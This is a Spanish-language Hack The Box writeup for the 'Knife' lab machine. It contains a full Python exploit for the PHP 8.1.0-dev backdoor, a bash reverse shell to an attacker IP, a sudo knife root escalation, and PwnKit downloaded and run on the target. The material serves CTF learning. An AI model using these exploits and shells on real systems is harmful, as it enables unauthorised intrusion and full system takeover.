525 palabras
3 minutos
Knife HTB Writeup

Information Gathering#

Primero nuestro escaneo de nmap:

> sudo nmap -sS -p- --open -n --min-rate 4000 -Pn 10.10.10.242 

[sudo] password for mil4ne: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 21:32 EDT
Nmap scan report for 10.10.10.242
Host is up (0.15s latency).
Not shown: 65217 closed tcp ports (reset), 316 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Aqui tenemos nuestro escaneo de versiones:

nmap -p22,80 -sCV 10.10.10.242                          
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 21:33 EDT
Nmap scan report for 10.10.10.242 (10.10.10.242)
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Solo 2 puertos abiertos, por ssh no podemos hacer mucho, asi que vamos a ver esa web a ver que tal.

Enumeration#

Web - Port 80#

alt text

En esta Web probe varias cosas:

  • Fuzzing de SubDirectorios
  • Fuzzing de Subdominios

Pero no encontre nada interansente.

Lo que si vi interesante fue las versiones apache y php de la web.

> whatweb http://10.10.10.242/ 

http://10.10.10.242/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.242], PHP[8.1.0-dev], Script, Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]

Busque por exploits para la version de apache, pero en mi caso por este camino no me funciono.

Lo que si pude encontrar fue un exploit de esta version de PHP, que nos permitia RCE como el usuario James.

PHP/8.1.0-dev exploit - https://www.exploit-db.com/exploits/49933

Explotation#

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit

Si analizamos el exploit encontrado, vemos que recibe una url al ejecurarlo y que luego nos da una shell semi interactiva, Vamos a probarlo.

python3 exploit.py

Enter the full host url:
http://10.10.10.242/

Nos da una shell, pero no es muy comoda, asi que nos enviamos una nueva shell a un puerto.

Iniciamos el nc escuchando en el puerto 9001:

nc -nlvp 9001

Luego nos enviamos la shell

bash -c "bash -i >& /dev/tcp/10.10.14.6/9001 0>&1"

Ahora un tratamiento de TTY para tener la shell FULL interativa.

script /dev/null -c bash

ctrl + z

stty raw -echo; fg

               reset xterm

y listo ya tenmos todo listo.

Privilege Escalation#

si hacemos:

sudo -l

hay un binario knife con permisos sudo.

https://gtfobins.github.io/gtfobins/knife/#sudo

sudo knife exec -E 'exec "/bin/sh"'

Con esto ya seriamos root

Alternativa - Privilege Escalation#

find / -perm -u=s -type f 2>/dev/null

Aqui tenemos el pkexec, podemos abusar de este para escalar Privilegios tambien.

https://github.com/ly4k/PwnKit

Primero lo descargamos en nuestra maquina:

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

Luegos nos montamos un servidor en python3 para enviar este archivo a la maquina victima:

python3 -m http.server

Ahora desde la maquina victima:

cd /tmp
curl http://10.10.14.6:8000/PwnKit -o PwnKit

Le damos permisos de ejecucion.

chmod +x PwnKit
./PwnKit

Ya tenemos root.

Knife HTB Writeup
https://mil4ne.pages.dev/
Autor
Mil4ne
Publicando el
2024-08-30